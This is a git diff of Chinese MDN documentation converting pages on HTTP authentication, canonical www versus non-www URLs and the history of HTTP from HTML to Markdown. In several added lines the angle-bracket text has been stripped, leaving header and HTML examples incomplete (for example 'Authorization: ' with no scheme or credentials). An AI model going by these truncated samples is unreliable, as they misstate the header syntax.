    当(代理)服务器收到一个合法认证信息时,若该认证不能获取请求资源的权限,(代理)服务器会返回{{HTTPStatus("403")}}响应状态,说明用户证书权限不够,与 {{HTTPStatus("401")}} 未认证和 {{HTTPStatus("407")}} 未代理认证不同。

    +当(代理)服务器收到一个合法认证信息时,若该认证不能获取请求资源的权限,(代理)服务器会返回{{HTTPStatus("403")}}响应状态,说明用户证书权限不够,与 {{HTTPStatus("401")}} 未认证和 {{HTTPStatus("407")}} 未代理认证不同。 -

    跨域图片认证

    +### 跨域图片认证 -

    一个被浏览器最近修复了的潜在的安全漏洞是跨域图片的认证。从 Firefox 59 起,浏览器在加载不同域的图片资源时,将不会再弹出 HTTP 认证对话框({{bug(1423146)}})。如果攻击者可以将任意图片嵌入到第三方页面中,禁止弹出 HTTP 认证对话框可避免用户的身份凭证被窃取。

    +一个被浏览器最近修复了的潜在的安全漏洞是跨域图片的认证。从 [Firefox 59](https://developer.mozilla.org/en-US/Firefox/Releases/59) 起,浏览器在加载不同域的图片资源时,将不会再弹出 HTTP 认证对话框({{bug(1423146)}})。如果攻击者可以将任意图片嵌入到第三方页面中,禁止弹出 HTTP 认证对话框可避免用户的身份凭证被窃取。 -

    HTTP 认证的字符编码

    +### HTTP 认证的字符编码 -

    浏览器使用 utf-8 编码用户名和密码。Firefox 曾使用 ISO-8859-1,但为与其他浏览器保持一致改为 utf-8,也为了避免 {{bug(1419658)}} 中所描述的潜在问题。

    +浏览器使用 `utf-8` 编码用户名和密码。Firefox 曾使用 `ISO-8859-1`,但为与其他浏览器保持一致改为 `utf-8`,也为了避免 {{bug(1419658)}} 中所描述的潜在问题。 -

    WWW-AuthenticateProxy-Authenticate 首部

    +### `WWW-Authenticate` 与 `Proxy-Authenticate` 首部 -

    {{HTTPHeader("WWW-Authenticate")}} 与 {{HTTPHeader("Proxy-Authenticate")}} 响应消息首部指定了为获取资源访问权限而进行身份验证的方法。它们需要明确要进行验证的方案,这样希望进行授权的客户端就知道该如何提供凭证信息。这两个首部的语法形式如下:

    +{{HTTPHeader("WWW-Authenticate")}} 与 {{HTTPHeader("Proxy-Authenticate")}} 响应消息首部指定了为获取资源访问权限而进行身份验证的方法。它们需要明确要进行验证的方案,这样希望进行授权的客户端就知道该如何提供凭证信息。这两个首部的语法形式如下: -
    WWW-Authenticate: <type> realm=<realm>
    -Proxy-Authenticate: <type> realm=<realm>
    -
    +```plain +WWW-Authenticate: realm= +Proxy-Authenticate: realm= +``` -

    在这里,<type> 指的是验证的方案(“基本验证方案”是最常见的验证方案,会在下面进行介绍)。realm 用来描述进行保护的区域,或者指代保护的范围。它可以是类似于 "Access to the staging site" 的消息,这样用户就可以知道他们正在试图访问哪一空间。

    +在这里,\ 指的是验证的方案(“基本验证方案”是最常见的验证方案,[会在下面进行介绍](/zh-CN/docs/Web/HTTP/Authentication#Basic_authentication_scheme))。realm 用来描述进行保护的区域,或者指代保护的范围。它可以是类似于 "Access to the staging site" 的消息,这样用户就可以知道他们正在试图访问哪一空间。 -

    AuthorizationProxy-Authorization 首部

    +### `Authorization` 与 `Proxy-Authorization` 首部 -

    {{HTTPHeader("Authorization")}} 与 {{HTTPHeader("Proxy-Authorization")}} 请求消息首部包含有用来向(代理)服务器证明用户代理身份的凭证。这里同样需要指明验证的类型,其后跟有凭证信息,该凭证信息可以被编码或者加密,取决于采用的是哪种验证方案。

    +{{HTTPHeader("Authorization")}} 与 {{HTTPHeader("Proxy-Authorization")}} 请求消息首部包含有用来向(代理)服务器证明用户代理身份的凭证。这里同样需要指明验证的类型,其后跟有凭证信息,该凭证信息可以被编码或者加密,取决于采用的是哪种验证方案。 -
    Authorization: <type> <credentials>
    -Proxy-Authorization: <type> <credentials>
    -
    +```plain +Authorization: +Proxy-Authorization: +``` -

    验证方案

    +### 验证方案 -

    通用 HTTP 身份验证框架可以被多个验证方案使用。不同的验证方案会在安全强度以及在客户端或服务器端软件中可获得的难易程度上有所不同。

    +通用 HTTP 身份验证框架可以被多个验证方案使用。不同的验证方案会在安全强度以及在客户端或服务器端软件中可获得的难易程度上有所不同。 -

    最常见的验证方案是“基本验证方案”("Basic"),该方案会在下面进行详细阐述。 IANA 维护了一系列的验证方案,除此之外还有其他类型的验证方案由虚拟主机服务提供,例如 Amazon AWS 。常见的验证方案包括:

    +最常见的验证方案是“基本验证方案”("Basic"),该方案会在下面进行详细阐述。 IANA 维护了[一系列的验证方案](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml),除此之外还有其他类型的验证方案由虚拟主机服务提供,例如 Amazon AWS 。常见的验证方案包括: -
      -
    • Basic (查看 {{rfc(7617)}},base64 编码凭证。详情请参阅下文.),
    • -
    • Bearer (查看 {{rfc(6750)}},bearer 令牌通过 OAuth 2.0 保护资源),
    • -
    • Digest (查看 {{rfc(7616)}},只有 md5 散列 在 Firefox 中支持,查看 {{bug(472823)}} 用于 SHA 加密支持),
    • -
    • HOBA (查看 {{rfc(7486)}}(草案),HTTP Origin-Bound 认证,基于数字签名),
    • -
    • Mutual (查看 draft-ietf-httpauth-mutual),
    • -
    • -

      AWS4-HMAC-SHA256 (查看 AWS docs).

      -
    • -
    +- **Basic** (查看 {{rfc(7617)}},base64 编码凭证。详情请参阅下文.), +- **Bearer** (查看 {{rfc(6750)}},bearer 令牌通过 OAuth 2.0 保护资源), +- **Digest** (查看 {{rfc(7616)}},只有 md5 散列 在 Firefox 中支持,查看 {{bug(472823)}} 用于 SHA 加密支持), +- **HOBA** (查看 {{rfc(7486)}}(草案),**H**TTP **O**rigin-**B**ound 认证,基于数字签名), +- **Mutual** (查看 [draft-ietf-httpauth-mutual](https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11)), +- **AWS4-HMAC-SHA256** (查看 [AWS docs](http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html)). -

    基本验证方案

    +## 基本验证方案 -

    "Basic" HTTP 验证方案是在 {{rfc(7617)}}中规定的,在该方案中,使用用户的 ID/密码作为凭证信息,并且使用 base64 算法进行编码。

    +"Basic" HTTP 验证方案是在 {{rfc(7617)}}中规定的,在该方案中,使用用户的 ID/密码作为凭证信息,并且使用 base64 算法进行编码。 -

    基本验证方案的安全性

    +### 基本验证方案的安全性 -

    由于用户 ID 与密码是是以明文的形式在网络中进行传输的(尽管采用了 base64 编码,但是 base64 算法是可逆的),所以基本验证方案并不安全。基本验证方案应与 HTTPS / TLS 协议搭配使用。假如没有这些安全方面的增强,那么基本验证方案不应该被来用保护敏感或者极具价值的信息。

    +由于用户 ID 与密码是是以明文的形式在网络中进行传输的(尽管采用了 base64 编码,但是 base64 算法是可逆的),所以基本验证方案并不安全。基本验证方案应与 HTTPS / TLS 协议搭配使用。假如没有这些安全方面的增强,那么基本验证方案不应该被来用保护敏感或者极具价值的信息。 -

    使用 Apache 限制访问和基本身份验证

    +### 使用 Apache 限制访问和基本身份验证 -

    要对 Apache 服务器上的目录进行密码保护, 你需要一个 .htaccess 和 a .htpasswd 文件。

    +要对 Apache 服务器上的目录进行密码保护, 你需要一个 `.htaccess` 和 a `.htpasswd` 文件。 -

    .htaccess 文件格式通常看起来像这样:

    +该 `.htaccess` 文件格式通常看起来像这样: -
    AuthType Basic
    +```plain
    +AuthType Basic
     AuthName "Access to the staging site"
     AuthUserFile /path/to/.htpasswd
    -Require valid-user
    +Require valid-user +``` -

    .htaccess 文件引用一个 .htpasswd 文件,其中每行用冒号(“:”)分隔的用户名和密码。你不能看到真实的密码因为它们是 encrypted (在这个例子中是使用了 MD5). 你可以命名.htpasswd 文件 为你所喜欢的名字,但是应该保证这个文件不被其他人访问. (Apache 通常配置阻止访问 .ht* 类的文件).

    +该 `.htaccess` 文件引用一个 `.htpasswd` 文件,其中每行用冒号(“:”)分隔的用户名和密码。你不能看到真实的密码因为它们是 [encrypted](https://httpd.apache.org/docs/2.4/misc/password_encryptions.html) (在这个例子中是使用了 MD5). 你可以命名`.htpasswd` 文件 为你所喜欢的名字,但是应该保证这个文件不被其他人访问. (Apache 通常配置阻止访问 `.ht*` 类的文件). -
    aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
    +```plain
    +aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
     user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
    -
    +``` -

    nginx 访问限制和基本认证

    +### nginx 访问限制和基本认证 -

    在 nginx 配置中,对需要保护的 location 你需要做如下配置:auth_basic 指令提供密码保护域的名称;auth_basic_user_file 指令指定包含用户密文的证书的文件(与 apache 例子中一致)

    +在 nginx 配置中,对需要保护的 location 你需要做如下配置:`auth_basic 指令提供密码保护域的名称;auth_basic_user_file 指令指定包含用户密文的证书的文件(与 apache 例子中一致)` -

    在 nginx 中,你需要指定一个保护区域和该 auth_basic 指令提供的保护区域名字。然后该 auth_basic_user_file 指令指向一个.htpasswd 包含加密用户凭据的文件,就像上面的 apache 例子。

    +在 nginx 中,你需要指定一个保护区域和该 `auth_basic` 指令提供的保护区域名字。然后该 `auth_basic_user_file` 指令指向一个`.htpasswd` 包含加密用户凭据的文件,就像上面的 apache 例子。 -
    location /status {
    +```plain
    +location /status {
         auth_basic           "Access to the staging site";
         auth_basic_user_file /etc/apache2/.htpasswd;
    -}
    +} +``` -

    使用 URL 中的身份凭证进行的访问(已废弃

    +### 使用 URL 中的身份凭证进行的访问(~~已废弃~~) -

    许多客户端同时支持避免弹出登录框,而是使用包含用户名和密码的经过编码的 URL,如下所示:

    +许多客户端同时支持避免弹出登录框,而是使用包含用户名和密码的经过编码的 URL,如下所示: -
    https://username:password@www.example.com/
    +```plain example-bad +https://username:password@www.example.com/ +``` -

    这种 URL 是不赞成使用的。在 Chrome 中, URL 中的 username:password@ 部分甚至会因为安全原因而被移除。Firefox 则会检查该站点是否真的需要身份验证,假如不是,则会弹出一个警告窗口:你即将使用用户名 “username” 登录 ”www.example.com“ 站点,但是该站点不需要进行身份验证。这可能是在试图进行欺诈。

    +**这种 URL 是不赞成使用的。**在 Chrome 中, URL 中的 username:password@ 部分甚至会因为安全原因而被移除。Firefox 则会检查该站点是否真的需要身份验证,假如不是,则会弹出一个警告窗口:你即将使用用户名 “username” 登录 ”www\.example.com“ 站点,但是该站点不需要进行身份验证。这可能是在试图进行欺诈。 -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("WWW-Authenticate")}}
    • -
    • {{HTTPHeader("Authorization")}}
    • -
    • {{HTTPHeader("Proxy-Authorization")}}
    • -
    • {{HTTPHeader("Proxy-Authenticate")}}
    • -
    • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
    • -
    +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md b/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md index 261f534647d266..f45f4fd725195f 100644 --- a/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md +++ b/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md @@ -7,63 +7,57 @@ tags: - URL translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    网站所有者经常会问的一个问题是选择非 www 的还是 www 的网址。本文提供了选择建议。

    +网站所有者经常会问的一个问题是选择非 www 的还是 www 的网址。本文提供了选择建议。 -

    什么是域名?

    +## 什么是域名? -

    在一个 HTTP 网址中,在初始 http://https:// 后的第一个子字符串称为域。它是文档所在的服务器的名称。

    +在一个 HTTP 网址中,在初始 `http://` 或 `https://` 后的第一个子字符串称为域。它是文档所在的服务器的名称。 -

    一个服务器不一定是一个独立的物理机:几台服务器可以驻留在同一台物理机器上,或者一台服务器可以通过几台机器进行处理,协作处理并响应或负载均衡它们之间的请求。关键点在于语义上一个域名代表一个单独的服务器

    +一个服务器不一定是一个独立的物理机:几台服务器可以驻留在同一台物理机器上,或者一台服务器可以通过几台机器进行处理,协作处理并响应或负载均衡它们之间的请求。关键点在于语义上**一个域名代表一个单独的服务器**。 -

    所以,我只能选择其中一个做为我的网站的网址?

    +## 所以,我只能选择其中一个做为我的网站的网址? -
      -
    • 是的,你必须选择其中之一,且一直使用。选择使用其中哪一个取决于你,当你选择完之后,就要保持下去。这样,无论是对用户,还是对搜索引擎,你的网站能保持更好的一致性。这包括始终链接到所选域名(如果你在网站中使用相对网址,则不应该很难),也可以始终将链接(通过电子邮件/社交网络等)共享使用同一个域名。
    • -
    • ,你可以有两个。重要的是,你需是保持的那一个官方的域名,这个官方域名被称为规范名称。你所有的绝对链接应该使用它。但即便如此,你仍然可以有其他域名使用:HTTP 允许使用两种技术,以便它在使用规范域名的同时还允许非规范域名使用,使使用者或搜索引擎可以准确的访问到所预期的页面。
    • -
    +- **是的**,你必须选择其中之一,且一直使用。选择使用其中哪一个取决于你,当你选择完之后,就要保持下去。这样,无论是对用户,还是对搜索引擎,你的网站能保持更好的一致性。这包括始终链接到所选域名(如果你在网站中使用相对网址,则不应该很难),也可以始终将链接(通过电子邮件/社交网络等)共享使用同一个域名。 +- **不**,你可以有两个。重要的是,你需是保持的那一个官方的域名,**这个官方域名被称为*规范*名称**。你所有的绝对链接应该使用它。但即便如此,你仍然可以有其他域名使用:HTTP 允许使用两种技术,以便它在使用规范域名的同时还允许非规范域名使用,使使用者或搜索引擎可以准确的访问到所预期的页面。 -

    所以,选择其中一个作为你的域名的规范地址!下面有两种技术允许不规范的域名仍然起作用。

    +所以,选择其中一个作为你的域名的规范地址!下面有两种技术允许不规范的域名仍然起作用。 -

    规范网址方式

    +## 规范网址方式 -

    选择下面有两种不同的方式使网站规范

    +选择下面有两种不同的方式使网站*规范*。 -

    使用 HTTP 301 重定向

    +### 使用 HTTP 301 重定向 -

    在这种情况下,你需要配置服务器接收的 HTTP 请求( 常见为 www 和非 www 网址相同)以及适当的 HTTP 响应 {{HTTPStatus(301)}} 去响应所有非规范的域名请求。这会将尝试使访问非规范网址的浏览器重定向到其规范的等效网址。举例来说,如果您选择使用非 www 网址为规范类型,你的所有 www 网址都应该被重定向到对应的非 www 网址上。

    +在这种情况下,你需要配置服务器接收的 HTTP 请求( 常见为 www 和非 www 网址相同)以及适当的 HTTP 响应 {{HTTPStatus(301)}} 去响应所有非规范的域名请求。这会将尝试使访问非规范网址的浏览器重定向到其规范的等效网址。举例来说,如果您选择使用非 www 网址为规范类型,你的所有 www 网址都应该被重定向到对应的非 www 网址上。 -

    例如:

    +例如: -
      -
    1. 服务器收到 http://www.example.org/whaddup 请求(当规范域名是 example.org 时)
    2. -
    3. 服务器则以代码 {{HTTPStatus(301)}} 与头 {{HTTPHeader("Location")}} :http://example.org/whaddup
    4. -
    5. 该客户端发出的规范的域名请求:http://example.org/whaddup
    6. -
    +1. 服务器收到 http\://www\.example.org/whaddup 请求(当规范域名是 example.org 时) +2. 服务器则以代码 {{HTTPStatus(301)}} 与头 {{HTTPHeader("Location")}} :`http://example.org/whaddup` +3. 该客户端发出的规范的域名请求:http\://example.org/whaddup -

    HTML5 boilerplate project 有一个示例 how to configure an Apache server to redirect one domain to the other

    +[HTML5 boilerplate project](https://github.com/h5bp/html5-boilerplate) 有一个示例 [how to configure an Apache server to redirect one domain to the other](https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258)。 - +### 使用 _``_ -

    它可以将一个特殊的 HTML {{HTMLElement("link")}} 元素添加到网页指示什么网页的标准地址,这对页面的访问者没有影响,但在搜索引擎检索时会告诉搜索引擎当页面实际的地址。通过这种方式,搜索引擎不需要索引同一页面多次,那样可能导致它被视为重复的内容或垃圾邮件,甚至从搜索引擎结果中删除或者降低你的页面显示排名。

    +它可以将一个特殊的 HTML {{HTMLElement("link")}} 元素添加到网页指示什么网页的标准地址,这对页面的访问者没有影响,但在搜索引擎检索时会告诉搜索引擎当页面实际的地址。通过这种方式,搜索引擎不需要索引同一页面多次,那样可能导致它被视为重复的内容或垃圾邮件,甚至从搜索引擎结果中删除或者降低你的页面显示排名。 -

    当加入这样一个标签,会告诉搜索引擎,你提供相同内容的两个域名那一个是规范的。以前面的例子为例,http://www.example.org/whaddup 将提供与 http://example.org/whaddup 相同的内容,但有一个附加的 {{HTMLElement("link")}} 头部元素:

    +当加入这样一个标签,会告诉搜索引擎,你提供相同内容的两个域名那一个是规范的。以前面的例子为例,http\://www\.example.org/whaddup 将提供与 http\://example.org/whaddup 相同的内容,但有一个附加的 {{HTMLElement("link")}} 头部元素: -

    <link href="http://example.org/whaddup" rel="canonical">

    +`` -

    不同于以往,浏览器历史记录将考虑非 www 和 www 的网址作为独立的条目。

    +不同于以往,浏览器历史记录将考虑非 www 和 www 的网址作为独立的条目。 -

    使你页面都有效

    +## 使你页面都有效 -

    有了这些技术,你可以配置服务器对 www 前缀和非 www 前缀的域名进行正确的响应,如果你无法预测用户会在浏览器地址栏使用哪个 URL,你需要做的就是选择一个作为你的规范地址,然后重定向另一个。

    +有了这些技术,你可以配置服务器对 www 前缀和非 www 前缀的域名进行正确的响应,如果你无法预测用户会在浏览器地址栏使用哪个 URL,你需要做的就是选择一个作为你的规范地址,然后重定向另一个。 -

    根据情况决定

    +## 根据情况决定 -

    可以认为这是一个非常主观 bikeshedding 问题。 如果你想更深入的阅读,请参阅 WWW vs non-WWW for your Canonical Domain URL – Which is Best and Why? ,它可能提出进一步的见解。

    +可以认为这是一个非常主观 [bikeshedding](http://bikeshed.com/) 问题。 如果你想更深入的阅读,请参阅 [WWW vs non-WWW for your Canonical Domain URL – Which is Best and Why?](http://www.hyperarts.com/blog/www-vs-non-www-for-your-canonical-domain-url-which-is-best-and-why/) ,它可能提出进一步的见解。 -

    相关链接

    +## 相关链接 - +- [Stats on what people type in the URL bar](http://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/) (2011) diff --git a/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.md b/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.md index 6118b367ef6888..8442451cdb19ec 100644 --- a/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.md +++ b/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.md @@ -6,95 +6,98 @@ tags: - HTTP translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    HTTP(HyperText Transfer Protocol)是万维网(World Wide Web)的基础协议。自 Tim Berners-Lee 博士和他的团队在 1989-1991 年间创造出它以来,HTTP 已经发生了太多的变化,在保持协议简单性的同时,不断扩展其灵活性。如今,HTTP 已经从一个只在实验室之间交换文件的早期协议进化到了可以传输图片,高分辨率视频和 3D 效果的现代复杂互联网协议。

    +**HTTP(**HyperText Transfer Protocol)是万维网(World Wide Web)的基础协议。自 Tim Berners-Lee 博士和他的团队在 1989-1991 年间创造出它以来,HTTP 已经发生了太多的变化,在保持协议简单性的同时,不断扩展其灵活性。如今,HTTP 已经从一个只在实验室之间交换文件的早期协议进化到了可以传输图片,高分辨率视频和 3D 效果的现代复杂互联网协议。 -

    万维网的发明

    +## 万维网的发明 -

    1989 年, 当时在 CERN 工作的 Tim Berners-Lee 博士写了一份关于建立一个通过网络传输超文本系统的报告。这个系统起初被命名为 Mesh,在随后的 1990 年项目实施期间被更名为万维网(World Wide Web)。它在现有的 TCP 和 IP 协议基础之上建立,由四个部分组成:

    +1989 年, 当时在 CERN 工作的 Tim Berners-Lee 博士写了一份关于建立一个通过网络传输超文本系统的报告。这个系统起初被命名为 _Mesh_,在随后的 1990 年项目实施期间被更名为万维网(*World Wide Web)。*它在现有的 TCP 和 IP 协议基础之上建立,由四个部分组成: -
      -
    • 一个用来表示超文本文档的文本格式,超文本标记语言(HTML)。
    • -
    • 一个用来交换超文本文档的简单协议,超文本传输协议(HTTP)。
    • -
    • 一个显示(以及编辑)超文本文档的客户端,即网络浏览器。第一个网络浏览器被称为 WorldWideWeb。
    • -
    • 一个服务器用于提供可访问的文档,即 httpd 的前身。
    • -
    +- 一个用来表示超文本文档的文本格式,_[超文本标记语言](/zh-CN/docs/Web/HTML)_(HTML)。 +- 一个用来交换超文本文档的简单协议,超文本传输协议(HTTP)。 +- 一个显示(以及编辑)超文本文档的客户端,即网络浏览器。第一个网络浏览器被称为 _WorldWideWeb。_ +- 一个服务器用于提供可访问的文档,即 _httpd_ 的前身。 -

    这四个部分完成于 1990 年底,且第一批服务器已经在 1991 年初在 CERN 以外的地方运行了。 1991 年 8 月 16 日,Tim Berners-Lee 在公开的超文本新闻组上发表的文章被视为是万维网公共项目的开始。

    +这四个部分完成于 1990 年底,且第一批服务器已经在 1991 年初在 CERN 以外的地方运行了。 1991 年 8 月 16 日,Tim Berners-Lee 在公开的超文本新闻组上发表的文章被视为是万维网公共项目的开始。 -

    HTTP 在应用的早期阶段非常简单,后来被称为 HTTP/0.9,有时也叫做单行(one-line)协议。

    +HTTP 在应用的早期阶段非常简单,后来被称为 HTTP/0.9,有时也叫做单行(one-line)协议。 -

    HTTP/0.9 – 单行协议

    +## HTTP/0.9 – 单行协议 -

    最初版本的 HTTP 协议并没有版本号,后来它的版本号被定位在 0.9 以区分后来的版本。 HTTP/0.9 极其简单:请求由单行指令构成,以唯一可用方法{{HTTPMethod("GET")}}开头,其后跟目标资源的路径(一旦连接到服务器,协议、服务器、端口号这些都不是必须的)。

    +最初版本的 HTTP 协议并没有版本号,后来它的版本号被定位在 0.9 以区分后来的版本。 HTTP/0.9 极其简单:请求由单行指令构成,以唯一可用方法{{HTTPMethod("GET")}}开头,其后跟目标资源的路径(一旦连接到服务器,协议、服务器、端口号这些都不是必须的)。 -
    GET /mypage.html
    +```plain +GET /mypage.html +``` -

    响应也极其简单的:只包含响应文档本身。

    +响应也极其简单的:只包含响应文档本身。 -
    <HTML>
    +```plain
    +
     这是一个非常简单的 HTML 页面
    -</HTML>
    + +``` -

    跟后来的版本不同,HTTP/0.9 的响应内容并不包含 HTTP 头,这意味着只有 HTML 文件可以传送,无法传输其他类型的文件;也没有状态码或错误代码:一旦出现问题,一个特殊的包含问题描述信息的 HTML 文件将被发回,供人们查看。

    +跟后来的版本不同,HTTP/0.9 的响应内容并不包含 HTTP 头,这意味着只有 HTML 文件可以传送,无法传输其他类型的文件;也没有状态码或错误代码:一旦出现问题,一个特殊的包含问题描述信息的 HTML 文件将被发回,供人们查看。 -

    HTTP/1.0 – 构建可扩展性

    +## HTTP/1.0 – 构建可扩展性 -

    由于 HTTP/0.9 协议的应用十分有限,浏览器和服务器迅速扩展内容使其用途更广:

    +由于 HTTP/0.9 协议的应用十分有限,浏览器和服务器迅速扩展内容使其用途更广: -
      -
    • 协议版本信息现在会随着每个请求发送(HTTP/1.0被追加到了GET行)。
    • -
    • 状态码会在响应开始时发送,使浏览器能了解请求执行成功或失败,并相应调整行为(如更新或使用本地缓存)。
    • -
    • 引入了 HTTP 头的概念,无论是对于请求还是响应,允许传输元数据,使协议变得非常灵活,更具扩展性。
    • -
    • 在新 HTTP 头的帮助下,具备了传输除纯文本 HTML 文件以外其他类型文档的能力(凭借{{HTTPHeader("Content-Type")}}头)。
    • -
    +- 协议版本信息现在会随着每个请求发送(`HTTP/1.0`被追加到了`GET`行)。 +- 状态码会在响应开始时发送,使浏览器能了解请求执行成功或失败,并相应调整行为(如更新或使用本地缓存)。 +- 引入了 HTTP 头的概念,无论是对于请求还是响应,允许传输元数据,使协议变得非常灵活,更具扩展性。 +- 在新 HTTP 头的帮助下,具备了传输除纯文本 HTML 文件以外其他类型文档的能力(凭借{{HTTPHeader("Content-Type")}}头)。 -

    一个典型的请求看起来就像这样:

    +一个典型的请求看起来就像这样: -
    GET /mypage.html HTTP/1.0
    +```plain
    +GET /mypage.html HTTP/1.0
     User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
     
     200 OK
     Date: Tue, 15 Nov 1994 08:12:31 GMT
     Server: CERN/3.0 libwww/2.17
     Content-Type: text/html
    -<HTML>
    +
     一个包含图片的页面
    -  <IMG SRC="/myimage.gif">
    -</HTML>
    + + +``` -

    接下来是第二个连接,请求获取图片:

    +接下来是第二个连接,请求获取图片: -
    GET /myimage.gif HTTP/1.0
    +```plain
    +GET /myimage.gif HTTP/1.0
     User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
     
     200 OK
     Date: Tue, 15 Nov 1994 08:12:32 GMT
     Server: CERN/3.0 libwww/2.17
     Content-Type: text/gif
    -(这里是图片内容)
    +(这里是图片内容) +``` -

    在 1991-1995 年,这些新扩展并没有被引入到标准中以促进协助工作,而仅仅作为一种尝试:服务器和浏览器添加这些新扩展功能,但出现了大量的互操作问题。直到 1996 年 11 月,为了解决这些问题,一份新文档(RFC 1945)被发表出来,用以描述如何操作实践这些新扩展功能。文档 RFC 1945 定义了 HTTP/1.0,但它是狭义的,并不是官方标准。

    +在 1991-1995 年,这些新扩展并没有被引入到标准中以促进协助工作,而仅仅作为一种尝试:服务器和浏览器添加这些新扩展功能,但出现了大量的互操作问题。直到 1996 年 11 月,为了解决这些问题,一份新文档(RFC 1945)被发表出来,用以描述如何操作实践这些新扩展功能。文档 RFC 1945 定义了 HTTP/1.0,但它是狭义的,并不是官方标准。 -

    HTTP/1.1 – 标准化的协议

    +## HTTP/1.1 – 标准化的协议 -

    HTTP/1.0 多种不同的实现方式在实际运用中显得有些混乱,自 1995 年开始,即 HTTP/1.0 文档发布的下一年,就开始修订 HTTP 的第一个标准化版本。在 1997 年初,HTTP1.1 标准发布,就在 HTTP/1.0 发布的几个月后。

    +HTTP/1.0 多种不同的实现方式在实际运用中显得有些混乱,自 1995 年开始,即 HTTP/1.0 文档发布的下一年,就开始修订 HTTP 的第一个标准化版本。在 1997 年初,HTTP1.1 标准发布,就在 HTTP/1.0 发布的几个月后。 -

    HTTP/1.1 消除了大量歧义内容并引入了多项改进:

    +HTTP/1.1 消除了大量歧义内容并引入了多项改进: -
      -
    • 连接可以复用,节省了多次打开 TCP 连接加载网页文档资源的时间。
    • -
    • 增加管线化技术,允许在第一个应答被完全发送之前就发送第二个请求,以降低通信延迟。
    • -
    • 支持响应分块。
    • -
    • 引入额外的缓存控制机制。
    • -
    • 引入内容协商机制,包括语言,编码,类型等,并允许客户端和服务器之间约定以最合适的内容进行交换。
    • -
    • 凭借{{HTTPHeader("Host")}}头,能够使不同域名配置在同一个 IP 地址的服务器上。
    • -
    +- 连接可以复用,节省了多次打开 TCP 连接加载网页文档资源的时间。 +- 增加管线化技术,允许在第一个应答被完全发送之前就发送第二个请求,以降低通信延迟。 +- 支持响应分块。 +- 引入额外的缓存控制机制。 +- 引入内容协商机制,包括语言,编码,类型等,并允许客户端和服务器之间约定以最合适的内容进行交换。 +- 凭借{{HTTPHeader("Host")}}头,能够使不同域名配置在同一个 IP 地址的服务器上。 -

    一个典型的请求流程, 所有请求都通过一个连接实现,看起来就像这样:

    +一个典型的请求流程, 所有请求都通过一个连接实现,看起来就像这样: -
    GET /en-US/docs/Glossary/Simple_header HTTP/1.1
    +```plain
    +GET /en-US/docs/Glossary/Simple_header HTTP/1.1
     Host: developer.mozilla.org
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    @@ -114,7 +117,7 @@ Server: Apache
     Transfer-Encoding: chunked
     Vary: Cookie, Accept-Encoding
     
    -(content)
    +(content)
     
     
     GET /static/img/header-background.png HTTP/1.1
    @@ -135,66 +138,61 @@ Date: Thu, 31 Mar 2016 13:34:46 GMT
     Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
     Server: Apache
     
    -(image content of 3077 bytes)
    +(image content of 3077 bytes) +``` -

    HTTP/1.1 在 1997 年 1 月以 {{rfc(2068)}} 文件发布。

    +HTTP/1.1 在 1997 年 1 月以 {{rfc(2068)}} 文件发布。 -

    超过 15 年的扩展

    +## 超过 15 年的扩展 -

    由于 HTTP 协议的可扩展性 – 创建新的头部和方法是很容易的 – 即使 HTTP/1.1 协议进行过两次修订,{{RFC("2616")}} 发布于 1999 年 6 月,而另外两个文档 {{RFC("7230")}}-{{RFC("7235")}} 发布于 2014 年 6 月(在 HTTP/2 发布之前)。HTTP/1.1 协议已经稳定使用超过 15 年了。

    +由于 HTTP 协议的可扩展性 – 创建新的头部和方法是很容易的 – 即使 HTTP/1.1 协议进行过两次修订,{{RFC("2616")}} 发布于 1999 年 6 月,而另外两个文档 {{RFC("7230")}}-{{RFC("7235")}} 发布于 2014 年 6 月(在 HTTP/2 发布之前)。HTTP/1.1 协议已经稳定使用超过 15 年了。 -

    HTTP 用于安全传输

    +### HTTP 用于安全传输 -

    HTTP 最大的变化发生在 1994 年底。HTTP 在基本的 TCP/IP 协议栈上发送信息,网景公司(Netscape Communication)在此基础上创建了一个额外的加密传输层:SSL 。SSL 1.0 没有在公司以外发布过,但 SSL 2.0 及其后继者 SSL 3.0 和 SSL 3.1 允许通过加密来保证服务器和客户端之间交换消息的真实性,来创建电子商务网站。SSL 在标准化道路上最终成为 TLS,随着版本 1.0, 1.1, 1.2 的出现成功地关闭漏洞。TLS 1.3 目前正在形成。

